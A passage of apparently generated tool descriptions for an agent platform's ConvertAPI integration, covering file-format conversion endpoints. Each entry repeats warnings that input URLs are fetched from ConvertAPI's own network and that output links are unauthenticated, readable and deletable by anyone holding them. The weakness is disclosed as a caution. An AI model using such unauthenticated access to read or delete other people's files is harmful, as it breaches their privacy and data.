to PDF API via POST /convert/md/to/pdf. The Markdown to PDF Conversion API key features include a rapid and precise parser that faithfully reproduces Markdown syntax, robust table support, syntax highlighting for code blocks, and seamless image embedding, guaranteeing a consistent and visually integrated PDF output. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/md/to/pdf. Scopes: api. convertapi_post_convert_mhtml_to_docx (write) — MHTML to Word Conversion API via POST /convert/mhtml/to/docx. Convert MHTML (web archive) pages to editable Microsoft Word (DOCX) documents. Preserve text, images, tables, hyperlinks, and basic styles where possible to minimize cleanup and manual copy-paste. Ideal for repurposing web content, archiving email or webpage snapshots, and offline editing in document workflows without desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/mhtml/to/docx. Scopes: api. convertapi_post_convert_mobi_to_jpg (write) — MOBI to JPG Conversion API via POST /convert/mobi/to/jpg. Render MOBI eBooks to JPG images for previews, sharing, and archival use. Control output resolution, explicit width/height, and JPEG quality to balance clarity and file size. Ideal for generating thumbnails, galleries, and quick reviews without requiring an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/mobi/to/jpg. Scopes: api. convertapi_post_convert_mobi_to_pdf (write) — MOBI to PDF Conversion API via POST /convert/mobi/to/pdf. Convert MOBI eBooks to PDF for easy distribution and printing. Customize base font size, select page size, and set precise margins to match your brand or print requirements. Ideal for generating consistent, accessible documents without an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/mobi/to/pdf. Scopes: api. convertapi_post_convert_mobi_to_png (write) — MOBI to PNG Conversion API via POST /convert/mobi/to/png. Render MOBI eBooks to PNG images for previews, sharing, and archival use. Control output resolution and explicit width/height for sharp, lossless screenshots. Ideal for thumbnails, galleries, and quick reviews without an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/mobi/to/png. Scopes: api. convertapi_post_convert_mobi_to_tiff (write) — MOBI to TIFF Conversion API via POST /convert/mobi/to/tiff. Render MOBI eBooks to TIFF images for previews, sharing, and archival use. Control output resolution and explicit width/height to match print or display needs. Ideal for production pipelines that require consistent, high-fidelity page images. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/mobi/to/tiff. Scopes: api. convertapi_post_convert_mobi_to_webp (write) — MOBI to WebP Conversion API via POST /convert/mobi/to/webp. Render MOBI eBooks to WebP images for previews, galleries, and archival use. Control output resolution, explicit width/height, and image quality to balance clarity and file size. Ideal for thumbnails and review workflows without requiring an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/mobi/to/webp. Scopes: api. convertapi_post_convert_msg_to_jpg (write) — MSG to JPG Conversion API via POST /convert/msg/to/jpg. Render MSG email messages to JPG images for preview, sharing, and archiving. Choose to include message headers, convert attachments, and optionally merge the email body with attachments into a single output. Control image resolution, explicit width/height, and JPEG quality for a balance of clarity and file size. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/msg/to/jpg. Scopes: api. convertapi_post_convert_msg_to_pdf (write) — MSG to PDF API: Convert MSG emails to PDF with Options via POST /convert/msg/to/pdf. The MSG to PDF API converts MSG email files into PDF. This API allows you to customize various aspects, such as email headers, page orientation, page size, and margins. It also provides options for compressing files, converting email attachments, and merging them with the email body to create PDF and PDF/A-compliant documents. This API is especially valuable for businesses needing to maintain an accessible and standardized email archive and for legal firms that require secure, tamper-proof email documentation for evidentiary purposes. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/msg/to/pdf. Scopes: api. convertapi_post_convert_msg_to_png (write) — MSG to PNG Conversion API via POST /convert/msg/to/png. Render MSG email messages into high-quality PNG images suitable for review, sharing, and long-term archiving. Optionally include message headers to preserve sender, subject, and timestamp details. Convert attachments alongside the email body and, when needed, merge the email body with attachments into a single output to streamline delivery. Control output clarity and layout with image resolution (DPI) and explicit width/height to match UI or storage constraints. Designed for automation scenarios, the API processes individual messages or batches consistently while retaining visual fidelity of the original content. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/msg/to/png. Scopes: api. convertapi_post_convert_msg_to_tiff (write) — MSG to TIFF Conversion API via POST /convert/msg/to/tiff. Render MSG email messages into TIFF images for review, records management, and long-term archiving. Optionally include message headers to preserve sender, subject, and timestamp details. Convert attachments alongside the body and, when needed, merge the email body with attachments into a single output to streamline delivery. Control output clarity and layout with image resolution (DPI) and explicit width/height to match storage or workflow constraints. Generate single- or multi-page TIFF to accommodate lengthy threads or consolidated outputs while maintaining consistent visual fidelity across batches. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/msg/to/tiff. Scopes: api. convertapi_post_convert_msg_to_webp (write) — MSG to WebP Conversion API via POST /convert/msg/to/webp. Render MSG email messages into modern WebP images suitable for review, sharing, and efficient storage. Optionally include message headers to preserve sender, subject, and timestamp details. Convert attachments alongside the email body and, when needed, merge the body with attachments into a single output for convenience. Control results with WebP options such as lossless/lossy mode and quality factor, plus image resolution (DPI) and explicit width/height to fit UI or storage constraints. Designed for automation, the API handles individual items or batches consistently while balancing clarity against minimal file size. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/msg/to/webp. Scopes: api. convertapi_post_convert_numbers_to_csv (write) — Numbers to CSV API via POST /convert/numbers/to/csv. Convert Apple iWork Numbers files to Comma Separated Values (CSV). Extracts raw data for analysis, database import, or spreadsheet exchange. No Mac required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/numbers/to/csv. Scopes: api. convertapi_post_convert_numbers_to_xlsx (write) — Numbers to Excel API via POST /convert/numbers/to/xlsx. Convert Apple iWork Numbers files to Microsoft Excel XLSX. Preserves tables, formulas, and formatting. Ideal for cross-platform collaboration. No Mac required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/numbers/to/xlsx. Scopes: api. convertapi_post_convert_odc_to_jpg (write) — ODC to JPG Conversion API via POST /convert/odc/to/jpg. Convert ODC charts to JPG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and JPEG quality to balance fidelity and file size. Ideal for generating thumbnails, previews, and snapshots of charts in automated pipelines with predictable results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odc/to/jpg. Scopes: api. convertapi_post_convert_odc_to_pdf (write) — ODC to PDF Conversion API via POST /convert/odc/to/pdf. Convert ODC charts to PDF while preserving layout, fonts, colors, and vector graphics. Open password-protected files when required and optionally produce PDF/A compliant output for records retention and regulatory workflows. Use this API to standardize deliverables for review, print, and distribution across platforms without relying on desktop tools. Designed for automation and batch processing, it delivers predictable, high-quality results suitable for archives and document pipelines. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odc/to/pdf. Scopes: api. convertapi_post_convert_odc_to_png (write) — ODC to PNG Conversion API via POST /convert/odc/to/png. Convert ODC charts to PNG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and background color to match UI constraints. Ideal for generating thumbnails, previews, and snapshots of charts in automated pipelines with predictable, lossless results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odc/to/png. Scopes: api. convertapi_post_convert_odf_to_jpg (write) — ODF to JPG Conversion API via POST /convert/odf/to/jpg. Convert ODF formula documents to JPG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and JPEG quality to balance fidelity and file size. Ideal for generating formula previews, thumbnails, and snapshots in automated pipelines with predictable results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odf/to/jpg. Scopes: api. convertapi_post_convert_odf_to_pdf (write) — ODF to PDF Conversion API via POST /convert/odf/to/pdf. Convert ODF formula documents to PDF while preserving mathematical notation, layout, and fonts. Open password-protected files when required and optionally produce PDF/A compliant output for records retention and regulatory workflows. Use this API to standardize deliverables for review, print, and distribution across platforms without relying on desktop tools. Designed for automation and batch processing, it delivers predictable, high-quality results suitable for archives and document pipelines. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odf/to/pdf. Scopes: api. convertapi_post_convert_odf_to_png (write) — ODF to PNG Conversion API via POST /convert/odf/to/png. Convert ODF formula documents to PNG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and background color to match UI constraints. Ideal for generating lossless formula previews, thumbnails, and snapshots in automated pipelines with predictable results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odf/to/png. Scopes: api. convertapi_post_convert_odg_to_pdf (write) — ODG to PDF Conversion API via POST /convert/odg/to/pdf. Convert ODG drawings to PDF while preserving layout, vector graphics, and text. Open password-protected files when required and optionally produce PDF/A compliant output for records retention and regulatory workflows. Use this API to standardize deliverables for review, print, and distribution across platforms without relying on desktop tools. Designed for automation and batch processing, it delivers predictable, high-quality results suitable for archives and document pipelines. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odg/to/pdf. Scopes: api. convertapi_post_convert_odp_to_jpg (write) — ODP to JPG Conversion API via POST /convert/odp/to/jpg. Convert ODP slide decks to JPG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and JPEG quality to balance fidelity and file size. Ideal for generating slide thumbnails, previews, and snapshots in automated pipelines with predictable results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odp/to/jpg. Scopes: api. convertapi_post_convert_odp_to_pdf (write) — ODP to PDF Conversion API via POST /convert/odp/to/pdf. Convert ODP slide decks to PDF while preserving slide layout, images, text, and shapes. Open password-protected files when required and optionally produce PDF/A compliant output for records retention and regulatory workflows. Use this API to standardize deliverables for review, print, and distribution across platforms without desktop tools. Designed for automation and batch processing, it delivers predictable, high-quality results suitable for document pipelines. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odp/to/pdf. Scopes: api. convertapi_post_convert_odp_to_png (write) — ODP to PNG Conversion API via POST /convert/odp/to/png. Convert ODP slide decks to PNG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and background color to match UI constraints. Ideal for generating lossless slide thumbnails, previews, and snapshots in automated pipelines with predictable results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odp/to/png. Scopes: api. convertapi_post_convert_ods_to_jpg (write) — ODS to JPG Conversion API via POST /convert/ods/to/jpg. Convert ODS spreadsheets to JPG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and JPEG quality to balance fidelity and file size. Ideal for generating thumbnails, previews, and page snapshots from sheets, tables, and charts in automated pipelines with predictable results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ods/to/jpg. Scopes: api. convertapi_post_convert_ods_to_pdf (write) — ODS to PDF Conversion API via POST /convert/ods/to/pdf. Convert ODS spreadsheets to PDF while preserving sheet layout, tables, and charts. Open password-protected files when required and optionally produce PDF/A compliant output for records retention and regulatory workflows. Use this API to standardize deliverables for review, print, and distribution without relying on desktop tools. Designed for automation and batch processing, it delivers predictable, high-quality results suitable for archives and document pipelines. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in 